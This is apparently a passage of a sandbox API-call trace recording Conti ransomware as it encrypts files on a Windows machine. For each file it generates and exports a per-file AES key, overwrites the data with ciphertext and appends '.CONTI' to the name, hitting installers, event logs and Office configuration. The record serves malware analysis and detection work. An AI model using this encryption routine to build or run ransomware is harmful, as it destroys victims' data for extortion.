	[0093.932] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.932] WriteFile (in: hFile=0x348, lpBuffer=0xf3a0000*, nNumberOfBytesToWrite=0xed10, lpNumberOfBytesWritten=0x523fe50, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesWritten=0x523fe50*=0xed10, lpOverlapped=0x0) returned 1
	[0093.932] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.932] WriteFile (in: hFile=0x348, lpBuffer=0x17d3680*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x523fe68, lpOverlapped=0x0 | out: lpBuffer=0x17d3680*, lpNumberOfBytesWritten=0x523fe68*=0x8, lpOverlapped=0x0) returned 1
	[0093.932] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.932] CloseHandle (hObject=0x348) returned 1
	[0093.934] GetProcessHeap () returned 0x1720000
	[0093.934] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7588
	[0093.934] lstrcpyW (in: lpString1=0x17c7588, lpString2="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml"
	[0093.934] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.CONTI") returned="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.CONTI"
	[0093.934] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.conti")) returned 1
	[0093.934] GetProcessHeap () returned 0x1720000
	[0093.934] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7588 | out: hHeap=0x1720000) returned 1
	[0093.934] CryptDestroyKey (hKey=0x175e630) returned 1
	[0093.934] GetProcessHeap () returned 0x1720000
	[0093.934] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0b28 | out: hHeap=0x1720000) returned 1
	[0093.934] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c) returned 1
	[0093.951] CryptGenKey (in: hProv=0x176c348, Algid=0x6610, dwFlags=0x1, phKey=0x17d51e8 | out: phKey=0x17d51e8*=0x175e6f0) returned 1
	[0093.952] CryptExportKey (in: hKey=0x175e6f0, hExpKey=0x175e070, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d51ec, pdwDataLen=0x523fe64 | out: pbData=0x17d51ec*, pdwDataLen=0x523fe64*=0x20c) returned 1
	[0093.952] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 0x80
	[0093.960] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0093.960] GetLastError () returned 0x0
	[0093.960] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x523fe10 | out: lpFileSize=0x523fe10*=79996) returned 1
	[0093.960] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1387c
	[0093.960] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.960] SetEndOfFile (hFile=0x348) returned 1
	[0093.960] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.961] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.961] WriteFile (in: hFile=0x348, lpBuffer=0x17d51ec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x523fe1c, lpOverlapped=0x0 | out: lpBuffer=0x17d51ec*, lpNumberOfBytesWritten=0x523fe1c*=0x20c, lpOverlapped=0x0) returned 1
	[0093.967] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.967] ReadFile (in: hFile=0x348, lpBuffer=0xf3a0000, nNumberOfBytesToRead=0x1387c, lpNumberOfBytesRead=0x523fe3c, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesRead=0x523fe3c*=0x1387c, lpOverlapped=0x0) returned 1
	[0093.973] CryptEncrypt (in: hKey=0x175e6f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x1387c, dwBufLen=0x500000 | out: pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x13880) returned 1
	[0093.973] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.973] WriteFile (in: hFile=0x348, lpBuffer=0xf3a0000*, nNumberOfBytesToWrite=0x13880, lpNumberOfBytesWritten=0x523fe50, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesWritten=0x523fe50*=0x13880, lpOverlapped=0x0) returned 1
	[0093.974] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.974] WriteFile (in: hFile=0x348, lpBuffer=0x17d51e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x523fe68, lpOverlapped=0x0 | out: lpBuffer=0x17d51e0*, lpNumberOfBytesWritten=0x523fe68*=0x8, lpOverlapped=0x0) returned 1
	[0093.974] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.974] CloseHandle (hObject=0x348) returned 1
	[0093.976] GetProcessHeap () returned 0x1720000
	[0093.976] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7588
	[0093.978] lstrcpyW (in: lpString1=0x17c7588, lpString2="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml"
	[0093.978] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.CONTI") returned="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.CONTI"
	[0093.978] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.conti")) returned 1
	[0093.979] GetProcessHeap () returned 0x1720000
	[0093.979] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7588 | out: hHeap=0x1720000) returned 1
	[0093.979] CryptDestroyKey (hKey=0x175e6f0) returned 1
	[0093.979] GetProcessHeap () returned 0x1720000
	[0093.979] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0cc8 | out: hHeap=0x1720000) returned 1
	[0093.979] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c) returned 1
	[0093.987] CryptGenKey (in: hProv=0x176c348, Algid=0x6610, dwFlags=0x1, phKey=0x17d31f8 | out: phKey=0x17d31f8*=0x175e5f0) returned 1
	[0093.987] CryptExportKey (in: hKey=0x175e5f0, hExpKey=0x175e070, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d31fc, pdwDataLen=0x523fe64 | out: pbData=0x17d31fc*, pdwDataLen=0x523fe64*=0x20c) returned 1
	[0093.988] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 0x80
	[0093.993] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0093.993] GetLastError () returned 0x0
	[0093.993] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x523fe10 | out: lpFileSize=0x523fe10*=93314) returned 1
	[0093.993] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x16c82
	[0093.993] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.007] SetEndOfFile (hFile=0x320) returned 1
	[0094.007] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.007] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.007] WriteFile (in: hFile=0x320, lpBuffer=0x17d31fc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x523fe1c, lpOverlapped=0x0 | out: lpBuffer=0x17d31fc*, lpNumberOfBytesWritten=0x523fe1c*=0x20c, lpOverlapped=0x0) returned 1
	[0094.019] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.019] ReadFile (in: hFile=0x320, lpBuffer=0xf3a0000, nNumberOfBytesToRead=0x16c82, lpNumberOfBytesRead=0x523fe3c, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesRead=0x523fe3c*=0x16c82, lpOverlapped=0x0) returned 1
	[0094.024] CryptEncrypt (in: hKey=0x175e5f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x16c82, dwBufLen=0x500000 | out: pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x16c90) returned 1
	[0094.024] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.024] WriteFile (in: hFile=0x320, lpBuffer=0xf3a0000*, nNumberOfBytesToWrite=0x16c90, lpNumberOfBytesWritten=0x523fe50, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesWritten=0x523fe50*=0x16c90, lpOverlapped=0x0) returned 1
	[0094.024] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.025] WriteFile (in: hFile=0x320, lpBuffer=0x17d31f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x523fe68, lpOverlapped=0x0 | out: lpBuffer=0x17d31f0*, lpNumberOfBytesWritten=0x523fe68*=0x8, lpOverlapped=0x0) returned 1
	[0094.025] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.025] CloseHandle (hObject=0x320) returned 1
	[0094.027] GetProcessHeap () returned 0x1720000
	[0094.027] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0094.028] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" | out: lpString1="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml"
	[0094.028] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.CONTI") returned="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.CONTI"
	[0094.028] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.conti")) returned 1
	[0094.029] GetProcessHeap () returned 0x1720000
	[0094.029] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0094.029] CryptDestroyKey (hKey=0x175e5f0) returned 1
	[0094.029] GetProcessHeap () returned 0x1720000
	[0094.029] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17411b0 | out: hHeap=0x1720000) returned 1
	[0094.029] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c) returned 1
	[0094.029] CryptGenKey (in: hProv=0x176c348, Algid=0x6610, dwFlags=0x1, phKey=0x17c4598 | out: phKey=0x17c4598*=0x175e4f0) returned 1
	[0094.029] CryptExportKey (in: hKey=0x175e4f0, hExpKey=0x175e070, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c459c, pdwDataLen=0x523fe64 | out: pbData=0x17c459c*, pdwDataLen=0x523fe64*=0x20c) returned 1
	[0094.030] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 0x80
	[0094.032] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0094.032] GetLastError () returned 0x0
	[0094.032] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x523fe10 | out: lpFileSize=0x523fe10*=94720) returned 1
	[0094.032] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x17200
	[0094.032] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.032] SetEndOfFile (hFile=0x34c) returned 1
	[0094.039] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.040] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.040] WriteFile (in: hFile=0x34c, lpBuffer=0x17c459c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x523fe1c, lpOverlapped=0x0 | out: lpBuffer=0x17c459c*, lpNumberOfBytesWritten=0x523fe1c*=0x20c, lpOverlapped=0x0) returned 1
	[0094.048] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.048] ReadFile (in: hFile=0x34c, lpBuffer=0xf3a0000, nNumberOfBytesToRead=0x17200, lpNumberOfBytesRead=0x523fe3c, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesRead=0x523fe3c*=0x17200, lpOverlapped=0x0) returned 1
	[0094.052] CryptEncrypt (in: hKey=0x175e4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x17200, dwBufLen=0x500000 | out: pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x17210) returned 1
	[0094.053] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.053] WriteFile (in: hFile=0x34c, lpBuffer=0xf3a0000*, nNumberOfBytesToWrite=0x17210, lpNumberOfBytesWritten=0x523fe50, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesWritten=0x523fe50*=0x17210, lpOverlapped=0x0) returned 1
	[0094.053] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.053] WriteFile (in: hFile=0x34c, lpBuffer=0x17c4590*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x523fe68, lpOverlapped=0x0 | out: lpBuffer=0x17c4590*, lpNumberOfBytesWritten=0x523fe68*=0x8, lpOverlapped=0x0) returned 1
	[0094.053] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.053] CloseHandle (hObject=0x34c) returned 1
	[0094.055] GetProcessHeap () returned 0x1720000
	[0094.055] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7588
	[0094.055] lstrcpyW (in: lpString1=0x17c7588, lpString2="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" | out: lpString1="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi"
	[0094.055] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.CONTI") returned="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.CONTI"
	[0094.055] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), lpNewFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.CONTI" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.conti")) returned 1
	[0094.056] GetProcessHeap () returned 0x1720000
	[0094.056] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7588 | out: hHeap=0x1720000) returned 1
	[0094.056] CryptDestroyKey (hKey=0x175e4f0) returned 1
	[0094.056] GetProcessHeap () returned 0x1720000
	[0094.056] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf020 | out: hHeap=0x1720000) returned 1
	[0094.056] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c) returned 1
	[0095.299] CryptGenKey (in: hProv=0x176c348, Algid=0x6610, dwFlags=0x1, phKey=0x17d3688 | out: phKey=0x17d3688*=0x17c81b0) returned 1
	[0095.299] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x175e070, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d368c, pdwDataLen=0x523fe64 | out: pbData=0x17d368c*, pdwDataLen=0x523fe64*=0x20c) returned 1
	[0095.299] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx")) returned 0x20
	[0096.988] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0
	[0096.988] GetLastError () returned 0x0
	[0096.988] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x523fe10 | out: lpFileSize=0x523fe10*=2166784) returned 1
	[0096.988] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x211000
	[0096.988] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.992] SetEndOfFile (hFile=0x3b0) returned 1
	[0096.992] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.992] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.992] WriteFile (in: hFile=0x3b0, lpBuffer=0x17d368c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x523fe1c, lpOverlapped=0x0 | out: lpBuffer=0x17d368c*, lpNumberOfBytesWritten=0x523fe1c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.993] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.994] ReadFile (in: hFile=0x3b0, lpBuffer=0xf3a0000, nNumberOfBytesToRead=0x211000, lpNumberOfBytesRead=0x523fe3c, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesRead=0x523fe3c*=0x211000, lpOverlapped=0x0) returned 1
	[0097.528] CryptEncrypt (in: hKey=0x17c81b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x211000, dwBufLen=0x500000 | out: pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x211010) returned 1
	[0097.530] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.530] WriteFile (in: hFile=0x3b0, lpBuffer=0xf3a0000*, nNumberOfBytesToWrite=0x211010, lpNumberOfBytesWritten=0x523fe50, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesWritten=0x523fe50*=0x211010, lpOverlapped=0x0) returned 1
	[0098.059] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.059] WriteFile (in: hFile=0x3b0, lpBuffer=0x17d3680*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x523fe68, lpOverlapped=0x0 | out: lpBuffer=0x17d3680*, lpNumberOfBytesWritten=0x523fe68*=0x8, lpOverlapped=0x0) returned 1
	[0098.059] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.059] CloseHandle (hObject=0x3b0) returned 1
	[0098.621] GetProcessHeap () returned 0x1720000
	[0098.621] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0098.621] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx"
	[0098.621] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.CONTI"
	[0098.621] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.conti")) returned 1
	[0098.622] GetProcessHeap () returned 0x1720000
	[0098.622] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0098.622] CryptDestroyKey (hKey=0x17c81b0) returned 1
	[0098.622] GetProcessHeap () returned 0x1720000
	[0098.622] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bfc58 | out: hHeap=0x1720000) returned 1
	[0098.622] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c) returned 1
	[0098.622] CryptGenKey (in: hProv=0x176c348, Algid=0x6610, dwFlags=0x1, phKey=0x17e9900 | out: phKey=0x17e9900*=0x17c8370) returned 1
	[0098.622] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175e070, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e9904, pdwDataLen=0x523fe64 | out: pbData=0x17e9904*, pdwDataLen=0x523fe64*=0x20c) returned 1
	[0098.623] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\userdeploymentconfiguration.xml")) returned 0x20
	[0098.635] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\userdeploymentconfiguration.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0098.635] GetLastError () returned 0x0
	[0098.635] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x523fe10 | out: lpFileSize=0x523fe10*=614) returned 1
